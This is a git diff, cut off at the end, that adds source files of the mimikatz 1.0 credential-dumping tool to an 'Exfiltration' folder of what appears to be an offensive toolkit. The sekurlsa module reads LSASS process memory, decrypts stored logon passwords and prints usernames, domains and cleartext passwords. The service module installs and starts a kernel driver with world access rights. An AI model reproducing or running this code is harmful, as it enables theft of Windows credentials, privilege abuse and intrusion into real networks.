+ struct {PVOID LsaIRegisterNotification; PVOID LsaICancelNotification;} extractPkgFunctionTable = {GetProcAddress(hLsaSrv, "LsaIRegisterNotification"), GetProcAddress(hLsaSrv, "LsaICancelNotification")};
+ if(extractPkgFunctionTable.LsaIRegisterNotification && extractPkgFunctionTable.LsaICancelNotification)
+ mod_memory::genericPatternSearch(reinterpret_cast<PBYTE *>(&SeckPkgFunctionTable), L"lsasrv", reinterpret_cast<PBYTE>(&extractPkgFunctionTable), sizeof(extractPkgFunctionTable), - FIELD_OFFSET(LSA_SECPKG_FUNCTION_TABLE, RegisterNotification), NULL, true, true);
+ }
+
+ lsassOK = (mod_system::GLOB_Version.dwMajorVersion < 6) ? mod_mimikatz_sekurlsa_keys_nt5::searchAndInitLSASSData() : mod_mimikatz_sekurlsa_keys_nt6::searchAndInitLSASSData();
+ }
+ }
+ }
+ return lsassOK;
+}
+
+PLIST_ENTRY mod_mimikatz_sekurlsa::getPtrFromLinkedListByLuid(PLIST_ENTRY pSecurityStruct, unsigned long LUIDoffset, PLUID luidToFind)
+{
+ PLIST_ENTRY resultat = NULL;
+ BYTE * monBuffer = new BYTE[LUIDoffset + sizeof(LUID)];
+ PLIST_ENTRY pStruct = NULL;
+ if(mod_memory::readMemory(pSecurityStruct, &pStruct, sizeof(pStruct), hLSASS))
+ {
+ while(pStruct != pSecurityStruct)
+ {
+ if(mod_memory::readMemory(pStruct, monBuffer, LUIDoffset + sizeof(LUID), hLSASS))
+ {
+ if(RtlEqualLuid(luidToFind, reinterpret_cast<PLUID>(reinterpret_cast<PBYTE>(monBuffer) + LUIDoffset)))
+ {
+ resultat = pStruct;
+ break;
+ }
+ } else break;
+ pStruct = reinterpret_cast<PLIST_ENTRY>(monBuffer)->Flink;
+ }
+ }
+ delete [] monBuffer;
+ return resultat;
+}
+
+PVOID mod_mimikatz_sekurlsa::getPtrFromAVLByLuid(PRTL_AVL_TABLE pTable, unsigned long LUIDoffset, PLUID luidToFind)
+{
+ PVOID resultat = NULL;
+ RTL_AVL_TABLE maTable;
+ if(mod_memory::readMemory(pTable, &maTable, sizeof(RTL_AVL_TABLE), hLSASS))
+ resultat = getPtrFromAVLByLuidRec(reinterpret_cast<PRTL_AVL_TABLE>(maTable.BalancedRoot.RightChild), LUIDoffset, luidToFind);
+ return resultat;
+}
+
+PVOID mod_mimikatz_sekurlsa::getPtrFromAVLByLuidRec(PRTL_AVL_TABLE pTable, unsigned long LUIDoffset, PLUID luidToFind)
+{
+ PVOID resultat = NULL;
+ RTL_AVL_TABLE maTable;
+ if(mod_memory::readMemory(pTable, &maTable, sizeof(RTL_AVL_TABLE), hLSASS))
+ {
+ if(maTable.OrderedPointer)
+ {
+ BYTE * monBuffer = new BYTE[LUIDoffset + sizeof(LUID)];
+ if(mod_memory::readMemory(maTable.OrderedPointer, monBuffer, LUIDoffset + sizeof(LUID), hLSASS))
+ {
+ if(RtlEqualLuid(luidToFind, reinterpret_cast<PLUID>(reinterpret_cast<PBYTE>(monBuffer) + LUIDoffset)))
+ resultat = maTable.OrderedPointer;
+ }
+ delete [] monBuffer;
+ }
+
+ if(!resultat && maTable.BalancedRoot.LeftChild)
+ resultat = getPtrFromAVLByLuidRec(reinterpret_cast<PRTL_AVL_TABLE>(maTable.BalancedRoot.LeftChild), LUIDoffset, luidToFind);
+ if(!resultat && maTable.BalancedRoot.RightChild)
+ resultat = getPtrFromAVLByLuidRec(reinterpret_cast<PRTL_AVL_TABLE>(maTable.BalancedRoot.RightChild), LUIDoffset, luidToFind);
+ }
+ return resultat;
+}
+
+void mod_mimikatz_sekurlsa::genericCredsToStream(PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCreds, bool justSecurity, bool isDomainFirst, PDWORD pos)
+{
+ if(mesCreds)
+ {
+ if(mesCreds->Password.Buffer || mesCreds->UserName.Buffer || mesCreds->Domaine.Buffer)
+ {
+ wstring userName = mod_process::getUnicodeStringOfProcess(&mesCreds->UserName, hLSASS);
+ wstring domainName = mod_process::getUnicodeStringOfProcess(&mesCreds->Domaine, hLSASS);
+ wstring password = mod_process::getUnicodeStringOfProcess(&mesCreds->Password, hLSASS, SeckPkgFunctionTable->LsaUnprotectMemory);
+ wstring rUserName = (isDomainFirst ? domainName : userName);
+ wstring rDomainName = (isDomainFirst ? userName : domainName);
+
+ if(justSecurity)
+ {
+ if(!pos)
+ (*outputStream) << password;
+ else
+ (*outputStream) << endl <<
+ L"\t [" << *pos << L"] { " << rUserName << L" ; " << rDomainName << L" ; " << password << L" }";
+ }
+ else
+ {
+ if(!pos)
+ (*outputStream) << endl <<
+ L"\t * Utilisateur : " << rUserName << endl <<
+ L"\t * Domaine : " << rDomainName << endl <<
+ L"\t * Mot de passe : " << password;
+ else
+ (*outputStream) << endl <<
+ L"\t * [" << *pos << L"] Utilisateur : " << rUserName << endl <<
+ L"\t Domaine : " << rDomainName << endl <<
+ L"\t Mot de passe : " << password;
+ }
+ }
+ } else (*outputStream) << L"n.t. (LUID KO)";
+}
+
+bool mod_mimikatz_sekurlsa::getLogonData(vector<wstring> * mesArguments, vector<pair<PFN_ENUM_BY_LUID, wstring>> * mesProviders)
+{
+ PLUID sessions;
+ ULONG count;
+
+ if (NT_SUCCESS(LsaEnumerateLogonSessions(&count, &sessions)))
+ {
+ for (ULONG i = 0; i < count ; i++)
+ {
+ PSECURITY_LOGON_SESSION_DATA sessionData = NULL;
+ if(NT_SUCCESS(LsaGetLogonSessionData(&sessions[i], &sessionData)))
+ {
+ if(sessionData->LogonType != Network)
+ {
+ (*outputStream) << endl <<
+ L"Authentification Id : " << sessions[i].HighPart << L";" << sessions[i].LowPart << endl <<
+ L"Package d\'authentification : " << mod_text::stringOfSTRING(sessionData->AuthenticationPackage) << endl <<
+ L"Utilisateur principal : " << mod_text::stringOfSTRING(sessionData->UserName) << endl <<
+ L"Domaine d\'authentification : " << mod_text::stringOfSTRING(sessionData->LogonDomain) << endl;
+
+ for(vector<pair<PFN_ENUM_BY_LUID, wstring>>::iterator monProvider = mesProviders->begin(); monProvider != mesProviders->end(); monProvider++)
+ {
+ (*outputStream) << L'\t' << monProvider->second << (mesArguments->empty() ? (L" :") : (L"")) << L'\t';
+ monProvider->first(&sessions[i], mesArguments->empty());
+ (*outputStream) << endl;
+ }
+ }
+ LsaFreeReturnBuffer(sessionData);
+ }
+ else (*outputStream) << L"Erreur : Impossible d\'obtenir les données de session" << endl;
+ }
+ LsaFreeReturnBuffer(sessions);
+ }
+ else (*outputStream) << L"Erreur : Impossible d\'énumerer les sessions courantes" << endl;
+
+ return true;
+}
+
+bool mod_mimikatz_sekurlsa::ressembleString(PUNICODE_STRING maChaine, wstring * dstChaine, BYTE **buffer)
+{
+ bool resultat = false;
+ BYTE * monBuffer = NULL;
+ PBYTE * leBuffer = buffer ? buffer : &monBuffer;
+ if(mod_process::getUnicodeStringOfProcess(maChaine, leBuffer, hLSASS))
+ {
+ int flags = IS_TEXT_UNICODE_ODD_LENGTH | IS_TEXT_UNICODE_STATISTICS;
+ if(resultat = (IsTextUnicode(*leBuffer, maChaine->Length, &flags) != 0))
+ {
+ if(dstChaine)
+ dstChaine->assign(reinterpret_cast<const wchar_t *>(*leBuffer), maChaine->Length / sizeof(wchar_t));
+ }
+ }
+ if(monBuffer)
+ delete[] monBuffer;
+ return resultat;
+}
+
+bool mod_mimikatz_sekurlsa::searchPasswords(vector<wstring> * arguments)
+{
+ if(searchLSASSDatas())
+ {
+ if(PNT_QUERY_SYSTEM_INFORMATION NtQuerySystemInformation = reinterpret_cast<PNT_QUERY_SYSTEM_INFORMATION>(GetProcAddress(GetModuleHandle(L"ntdll"), "NtQuerySystemInformation")))
+ {
+#ifdef _M_X64
+ PBYTE MmSystemRangeStart = reinterpret_cast<PBYTE>(0xffff080000000000);
+#elif defined _M_IX86
+ PBYTE MmSystemRangeStart = reinterpret_cast<PBYTE>(0x80000000);
+#endif
+ ULONG maTaille = 0;
+ NtQuerySystemInformation(KIWI_SystemMmSystemRangeStart, &MmSystemRangeStart, sizeof(PBYTE), &maTaille);
+
+ DWORD nbPossible = 0;
+ for(PBYTE pMemoire = 0; pMemoire < MmSystemRangeStart ; )
+ {
+ MEMORY_BASIC_INFORMATION mesInfos;
+ if(VirtualQueryEx(hLSASS, pMemoire, &mesInfos, sizeof(MEMORY_BASIC_INFORMATION)) > 0)
+ {
+ if((mesInfos.Protect & PAGE_READWRITE) && !(mesInfos.Protect & PAGE_GUARD) && (mesInfos.Type == MEM_PRIVATE))
+ {
+ UNICODE_STRING donnees[3];
+ for(PBYTE pZone = reinterpret_cast<PBYTE>(mesInfos.BaseAddress); pZone < (reinterpret_cast<PBYTE>(mesInfos.BaseAddress) + mesInfos.RegionSize - 3*sizeof(UNICODE_STRING)); pZone += sizeof(DWORD))
+ {
+ if(mod_memory::readMemory(pZone, donnees, 3*sizeof(UNICODE_STRING), hLSASS))
+ {
+ if(
+ (donnees[0].Length && !((donnees[0].Length & 1) || (donnees[0].MaximumLength & 1)) && (donnees[0].Length < sizeof(wchar_t)*0xff) && (donnees[0].Length <= donnees[0].MaximumLength) && donnees[0].Buffer) &&
+ (donnees[1].Length && !((donnees[1].Length & 1) || (donnees[1].MaximumLength & 1)) && (donnees[1].Length < sizeof(wchar_t)*0xff) && (donnees[1].Length <= donnees[1].MaximumLength) && donnees[1].Buffer) &&
+ (donnees[2].Length && !((donnees[2].Length & 1) || (donnees[2].MaximumLength & 1)) && (donnees[2].Length < sizeof(wchar_t)*0xff) && (donnees[2].Length <= donnees[2].MaximumLength) && donnees[2].Buffer)
+ )
+ {
+ wstring user, domain, password;
+ BYTE * bPassword = NULL;
+ if(ressembleString(&donnees[0], &user) && ressembleString(&donnees[1], &domain) && !ressembleString(&donnees[2], NULL, &bPassword))
+ {
+ if(bPassword)
+ {
+ mod_mimikatz_sekurlsa::SeckPkgFunctionTable->LsaUnprotectMemory(bPassword, donnees[2].MaximumLength);
+ password.assign(mod_text::stringOrHex(bPassword, donnees[2].Length, 0, false));
+ }
+ (*outputStream) << L"[" << nbPossible++ << L"] { " << user << L" ; " << domain << L" ; " << password << L" }" << endl;
+ }
+
+ if(bPassword)
+ delete[] bPassword;
+ }
+ }
+ }
+ }
+ pMemoire += mesInfos.RegionSize;
+ }
+ else break;
+ }
+ }
+ }
+ else (*outputStream) << L"Données LSASS en erreur" << endl;
+ return true;
+} \ No newline at end of file
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_sekurlsa.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_sekurlsa.h
new file mode 100644
index 0000000..aa05d58
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_sekurlsa.h
@@ -0,0 +1,64 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#pragma once
+#include "globdefs.h"
+#include "mod_memory.h"
+#include "mod_process.h"
+#include "mod_text.h"
+#include "mod_system.h"
+#include <iostream>
+#include "secpkg.h"
+
+#include "LSA Keys/keys_nt5.h"
+#include "LSA Keys/keys_nt6.h"
+
+#include "Security Packages/msv1_0.h"
+#include "Security Packages/tspkg.h"
+#include "Security Packages/wdigest.h"
+#include "Security Packages/kerberos.h"
+#include "Security Packages/livessp.h"
+#include "Security Packages/ssp.h"
+
+class mod_mimikatz_sekurlsa
+{
+public:
+ typedef bool (WINAPI * PFN_ENUM_BY_LUID) (__in PLUID logId, __in bool justSecurity);
+private:
+ typedef struct _KIWI_MODULE_PKG_LSA {
+ wchar_t * moduleName;
+ wchar_t * simpleName;
+ PFN_ENUM_BY_LUID enumFunc;
+ mod_process::PKIWI_VERY_BASIC_MODULEENTRY * pModuleEntry;
+ _KIWI_MODULE_PKG_LSA(wchar_t * leModuleName, wchar_t * leSimpleName, PFN_ENUM_BY_LUID laEnumFunc, mod_process::PKIWI_VERY_BASIC_MODULEENTRY * pLeModuleEntry) : moduleName(leModuleName), simpleName(leSimpleName), enumFunc(laEnumFunc), pModuleEntry(pLeModuleEntry) {}
+ } KIWI_MODULE_PKG_LSA, *PKIWI_MODULE_PKG_LSA;
+
+ static bool lsassOK;
+ static vector<pair<PFN_ENUM_BY_LUID, wstring>> GLOB_ALL_Providers;
+ static vector<KIWI_MODULE_PKG_LSA> mesModules;
+
+ static PVOID getPtrFromAVLByLuidRec(PRTL_AVL_TABLE pTable, unsigned long LUIDoffset, PLUID luidToFind);
+ static bool ressembleString(PUNICODE_STRING maChaine, wstring * dstChaine = NULL, BYTE **buffer = NULL);
+
+ static bool getLogonPasswords(vector<wstring> * arguments);
+ static bool searchPasswords(vector<wstring> * arguments);
+public:
+ static HANDLE hLSASS;
+ static HMODULE hLsaSrv;
+ static mod_process::KIWI_VERY_BASIC_MODULEENTRY localLSASRV, *pModLSASRV;
+ static PLSA_SECPKG_FUNCTION_TABLE SeckPkgFunctionTable;
+
+ static PLIST_ENTRY getPtrFromLinkedListByLuid(PLIST_ENTRY pSecurityStruct, unsigned long LUIDoffset, PLUID luidToFind);
+ static PVOID getPtrFromAVLByLuid(PRTL_AVL_TABLE pTable, unsigned long LUIDoffset, PLUID luidToFind);
+
+ static void genericCredsToStream(PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCreds, bool justSecurity, bool isDomainFirst = false, PDWORD pos = NULL);
+ static bool getLogonData(vector<wstring> * mesArguments, vector<pair<PFN_ENUM_BY_LUID, wstring>> * mesProviders);
+
+ static bool loadLsaSrv();
+ static bool unloadLsaSrv();
+ static bool searchLSASSDatas();
+
+ static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands();
+};
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_service.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_service.cpp
new file mode 100644
index 0000000..31fb6b5
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_service.cpp
@@ -0,0 +1,191 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#include "mod_mimikatz_service.h"
+#include "..\global.h"
+
+vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_service::getMimiKatzCommands()
+{
+ vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector;
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(list, L"list", L"Liste les services et pilotes"));
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(start, L"start", L"Démarre un service ou pilote"));
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(stop, L"stop", L"Arrête un service ou pilote"));
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(remove, L"remove", L"Supprime un service ou pilote"));
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(mimikatz, L"mimikatz", L"Installe et/ou démarre le pilote mimikatz"));
+ return monVector;
+}
+
+bool mod_mimikatz_service::start(vector<wstring> * arguments)
+{
+ (*outputStream) << L"Démarrage de \'";
+ return genericFunction(mod_service::start, arguments);
+}
+
+bool mod_mimikatz_service::stop(vector<wstring> * arguments)
+{
+ (*outputStream) << L"Arrêt de \'";
+ return genericFunction(mod_service::stop, arguments);
+}
+
+bool mod_mimikatz_service::remove(vector<wstring> * arguments)
+{
+ (*outputStream) << L"Suppression de \'";
+ return genericFunction(mod_service::remove, arguments);
+}
+
+bool mod_mimikatz_service::genericFunction(PMOD_SERVICE_FUNC function, vector<wstring> * arguments)
+{
+ if(!arguments->empty())
+ {
+ (*outputStream) << arguments->front() << L"\' : ";
+ if(function(&arguments->front(), NULL))
+ (*outputStream) << L"OK";
+ else
+ (*outputStream) << L"KO ; " << mod_system::getWinError();
+ (*outputStream) << endl;
+ }
+ else (*outputStream) << L"(null)\' - KO ; Nom de service manquant" << endl;
+
+ return true;
+}
+
+
+bool mod_mimikatz_service::list(vector<wstring> * arguments)
+{
+ bool services_fs_drivers = true;
+ bool services = false;
+ bool fs = false;
+ bool drivers = false;
+
+ bool allstate = true;
+ bool running = false;
+ bool stopped = false;
+
+ vector<mod_service::KIWI_SERVICE_STATUS_PROCESS> * vectorServices = new vector<mod_service::KIWI_SERVICE_STATUS_PROCESS>();
+ if(mod_service::getList(vectorServices, (arguments->empty() ? NULL : &arguments->front())))
+ {
+ for(vector<mod_service::KIWI_SERVICE_STATUS_PROCESS>::iterator monService = vectorServices->begin(); monService != vectorServices->end(); monService++)
+ {
+ if(
+ (
+ (services && (monService->ServiceStatusProcess.dwServiceType & (SERVICE_WIN32_OWN_PROCESS | SERVICE_WIN32_SHARE_PROCESS))) ||
+ (fs && (monService->ServiceStatusProcess.dwServiceType & SERVICE_FILE_SYSTEM_DRIVER)) ||
+ (drivers && (monService->ServiceStatusProcess.dwServiceType & SERVICE_KERNEL_DRIVER)) ||
+ (services_fs_drivers)
+ )
+ &&
+ (
+ (running && monService->ServiceStatusProcess.dwCurrentState == SERVICE_RUNNING) ||
+ (stopped && monService->ServiceStatusProcess.dwCurrentState == SERVICE_STOPPED) ||
+ (allstate)
+ )
+ )
+ {
+ if(monService->ServiceStatusProcess.dwProcessId != 0)
+ (*outputStream) << setw(5) << setfill(wchar_t(' ')) << monService->ServiceStatusProcess.dwProcessId;
+ (*outputStream) << L'\t';
+
+ if(monService->ServiceStatusProcess.dwServiceType & SERVICE_INTERACTIVE_PROCESS)
+ (*outputStream) << L"INTERACTIVE_PROCESS" << L'\t';
+ if(monService->ServiceStatusProcess.dwServiceType & SERVICE_FILE_SYSTEM_DRIVER)
+ (*outputStream) << L"FILE_SYSTEM_DRIVER" << L'\t';
+ if(monService->ServiceStatusProcess.dwServiceType & SERVICE_KERNEL_DRIVER)
+ (*outputStream) << L"KERNEL_DRIVER" << L'\t';
+ if(monService->ServiceStatusProcess.dwServiceType & SERVICE_WIN32_OWN_PROCESS)
+ (*outputStream) << L"WIN32_OWN_PROCESS" << L'\t';
+ if(monService->ServiceStatusProcess.dwServiceType & SERVICE_WIN32_SHARE_PROCESS)
+ (*outputStream) << L"WIN32_SHARE_PROCESS" << L'\t';
+
+ switch(monService->ServiceStatusProcess.dwCurrentState)
+ {
+ case SERVICE_CONTINUE_PENDING:
+ (*outputStream) << L"CONTINUE_PENDING";
+ break;
+ case SERVICE_PAUSE_PENDING:
+ (*outputStream) << L"PAUSE_PENDING";
+ break;
+ case SERVICE_PAUSED:
+ (*outputStream) << L"PAUSED";
+ break;
+ case SERVICE_RUNNING:
+ (*outputStream) << L"RUNNING";
+ break;
+ case SERVICE_START_PENDING:
+ (*outputStream) << L"START_PENDING";
+ break;
+ case SERVICE_STOP_PENDING:
+ (*outputStream) << L"STOP_PENDING";
+ break;
+ case SERVICE_STOPPED:
+ (*outputStream) << L"STOPPED";
+ break;
+ }
+
+ (*outputStream) << L'\t' <<
+ monService->serviceName << L'\t' <<
+ monService->serviceDisplayName <<
+ endl;
+ }
+ }
+ }
+ else
+ (*outputStream) << L"mod_service::getList ; " << mod_system::getWinError() << endl;
+
+ delete vectorServices;
+ return true;
+}
+
+bool mod_mimikatz_service::mimikatz(vector<wstring> * arguments)
+{
+ if(SC_HANDLE monManager = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT | SC_MANAGER_CREATE_SERVICE))
+ {
+ SC_HANDLE monService = NULL;
+ if(!(monService = OpenService(monManager, L"mimikatz", SERVICE_START)))
+ {
+ if(GetLastError() == ERROR_SERVICE_DOES_NOT_EXIST)
+ {
+ (*outputStream) << L"[*] Pilote mimikatz non présent, installation." << endl;
+
+ wstring monPilote = L"mimikatz.sys";
+ wstring monPiloteComplet = L"";
+ if(mod_system::getAbsolutePathOf(monPilote, &monPiloteComplet))
+ {
+ bool fileExist = false;
+ if(mod_system::isFileExist(monPiloteComplet, &fileExist) && fileExist)
+ {
+ if(monService = CreateService(monManager, L"mimikatz", L"mimikatz driver", READ_CONTROL | WRITE_DAC | SERVICE_START, SERVICE_KERNEL_DRIVER, SERVICE_AUTO_START, SERVICE_ERROR_NORMAL, monPiloteComplet.c_str(), NULL, NULL, NULL, NULL, NULL))
+ {
+ (*outputStream) << L"[+] Création du pilote : OK" << endl;
+ if(mod_secacl::addWorldToMimikatz(&monService))
+ (*outputStream) << L"[+] Attribution des droits : OK";
+ else
+ (*outputStream) << L"[-] Attribution des droits : KO ; " << mod_system::getWinError();
+ (*outputStream) << endl;
+ }
+ else (*outputStream) << L"[!] Impossible de créer le pilote ; " << mod_system::getWinError() << endl;
+ }
+ else (*outputStream) << L"[!] Le pilote ne semble pas exister ; " << mod_system::getWinError() << endl;
+ }
+ else (*outputStream) << L"[!] Impossible d\'obtenir le chemin absolu du pilote ; " << mod_system::getWinError() << endl;
+ }
+ else (*outputStream) << L"[!] Ouverture du pilote mimikatz : KO ; " << mod_system::getWinError() << endl;
+ }
+ else (*outputStream) << L"[*] Pilote mimikatz déjà présent" << endl;
+
+ if(monService)
+ {
+ if(StartService(monService, 0, NULL) != 0)
+ (*outputStream) << L"[+] Démarrage du pilote : OK";
+ else
+ (*outputStream) << L"[-] Démarrage du pilote : KO ; " << mod_system::getWinError();
+ (*outputStream) << endl;
+ CloseServiceHandle(monService);
+ }
+
+ CloseServiceHandle(monManager);
+ }
+ else (*outputStream) << L"[!] Impossible d\'ouvrir le gestionnaire de service pour création ; " << mod_system::getWinError() << endl;
+ return true;
+} \ No newline at end of file
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_service.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_service.h
new file mode 100644
index 0000000..368066f
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_service.h
@@ -0,0 +1,34 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#pragma once
+#include "globdefs.h"
+#include "mod_system.h"
+#include "mod_service.h"
+#include <iostream>
+
+class mod_mimikatz_service
+{
+private:
+ typedef bool (* PMOD_SERVICE_FUNC) (wstring * serviceName, wstring * machineName);
+ static bool genericFunction(PMOD_SERVICE_FUNC function, vector<wstring> * arguments);
+public:
+ static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands();
+
+ static bool list(vector<wstring> * arguments);
+
+ static bool start(vector<wstring> * arguments);
+ static bool suspend(vector<wstring> * arguments);
+ static bool resume(vector<wstring> * arguments);
+ static bool stop(vector<wstring> * arguments);
+
+ static bool query(vector<wstring> * arguments);
+
+ static bool add(vector<wstring> * arguments);
+ static bool remove(vector<wstring> * arguments);
+ static bool control(vector<wstring> * arguments);
+
+ static bool mimikatz(vector<wstring> * arguments);
+};
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_standard.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_standard.cpp
new file mode 100644
index 0000000..e785e0d
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_standard.cpp
@@ -0,0 +1,77 @@
+/* Benjamin DELPY `gentilkiwi`
+http://blog.gentilkiwi.com
+benjamin@gentilkiwi.com
+Licence : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#include "mod_mimikatz_standard.h"
+#include "..\global.h"
+
+vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_standard::getMimiKatzCommands()
+{
+ vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector;
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(clearScreen, L"cls", L"Efface l\'écran (ne fonctionne pas en éxecution distante, via PsExec par exemple)"));
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(exit, L"exit", L"Quitte MimiKatz"));
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(reponse, L"reponse", L"Calcule la réponse à la Grande Question sur la Vie, l\'Univers et le Reste"));
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(cite, L"cite", L"Trouve une citation"));
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(version, L"version", L"Retourne la version de mimikatz"));
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(sleep, L"sleep", L"Mets en pause mimikatz un certains nombre de millisecondes"));
+ //monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(test, L"test", L"Routine de test (ne devrait plus être là en release..."));
+ return monVector;
+}
+
+/*bool mod_mimikatz_standard::test(vector<wstring> * arguments)
+{
+ return true;
+}*/
+
+bool mod_mimikatz_standard::version(vector<wstring> * arguments)
+{
+ (*outputStream) << MIMIKATZ_FULL << L" (" << __DATE__ << L' ' << __TIME__ << L')' << endl;
+ return true;
+}
+
+bool mod_mimikatz_standard::clearScreen(vector<wstring> * arguments)
+{
+ HANDLE hStdOut = GetStdHandle(STD_OUTPUT_HANDLE);
+ COORD coord = {0, 0};
+ DWORD count;
+
+ CONSOLE_SCREEN_BUFFER_INFO csbi;
+ GetConsoleScreenBufferInfo(hStdOut, &csbi);
+
+ FillConsoleOutputCharacter(hStdOut, L' ', csbi.dwSize.X * csbi.dwSize.Y, coord, &count);
+ SetConsoleCursorPosition(hStdOut, coord);
+
+ return true;
+}
+
+bool mod_mimikatz_standard::exit(vector<wstring> * arguments)
+{
+ return false;
+}
+
+bool mod_mimikatz_standard::reponse(vector<wstring> * arguments)
+{
+ (*outputStream) << L"La réponse est 42." << endl;
+ return true;
+}
+
+bool mod_mimikatz_standard::cite(vector<wstring> * arguments)
+{
+ (*outputStream) << L"I edit the world in HEX" << endl;
+ return true;
+}
+
+bool mod_mimikatz_standard::sleep(vector<wstring> * arguments)
+{
+ DWORD dwMilliseconds = 1000;
+ if(!arguments->empty())
+ {
+ wstringstream z;
+ z << arguments->front(); z >> dwMilliseconds;
+ }
+ (*outputStream) << L"Sleep : " << dwMilliseconds << L" ms... " << flush;
+ Sleep(dwMilliseconds);
+ (*outputStream) << L"Fin !" << endl;
+ return true;
+}
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_standard.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_standard.h
new file mode 100644
index 0000000..dab1350
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_standard.h
@@ -0,0 +1,23 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#pragma once
+#include "globdefs.h"
+#include <iostream>
+#include <sstream>
+
+class mod_mimikatz_standard
+{
+public:
+ static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands();
+
+ static bool clearScreen(vector<wstring> * arguments);
+ static bool exit(vector<wstring> * arguments);
+ static bool cite(vector<wstring> * arguments);
+ static bool reponse(vector<wstring> * arguments);
+ static bool version(vector<wstring> * arguments);
+ static bool sleep(vector<wstring> * arguments);
+ static bool test(vector<wstring> * arguments);
+};
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_system.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_system.cpp
new file mode 100644
index 0000000..90929b2
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_system.cpp
@@ -0,0 +1,40 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#include "mod_mimikatz_system.h"
+#include "..\global.h"
+
+vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_system::getMimiKatzCommands()
+{
+ vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector;
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(user, L"user", L"Affiche l\'utilisateur courant"));
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(computer, L"computer", L"Affiche le nom d\'ordinateur courant"));
+ return monVector;
+}
+
+bool mod_mimikatz_system::user(vector<wstring> * arguments)
+{
+ wstring monUser;
+
+ if(mod_system::getUserName(&monUser))
+ (*outputStream) << L"Utilisateur : " << monUser << endl;
+ else
+ (*outputStream) << L"mod_system::getUserName : " << mod_system::getWinError();
+
+ return true;
+}
+
+bool mod_mimikatz_system::computer(vector<wstring> * arguments)
+{
+ wstring monComputer;
+
+ if(mod_system::getComputerName(&monComputer))
+ (*outputStream) << L"Ordinateur : " << monComputer << endl;
+ else
+ (*outputStream) << L"mod_system::getComputerName : " << mod_system::getWinError();
+
+ return true;
+}
+
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_system.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_system.h
new file mode 100644
index 0000000..bd96a01
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_system.h
@@ -0,0 +1,17 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
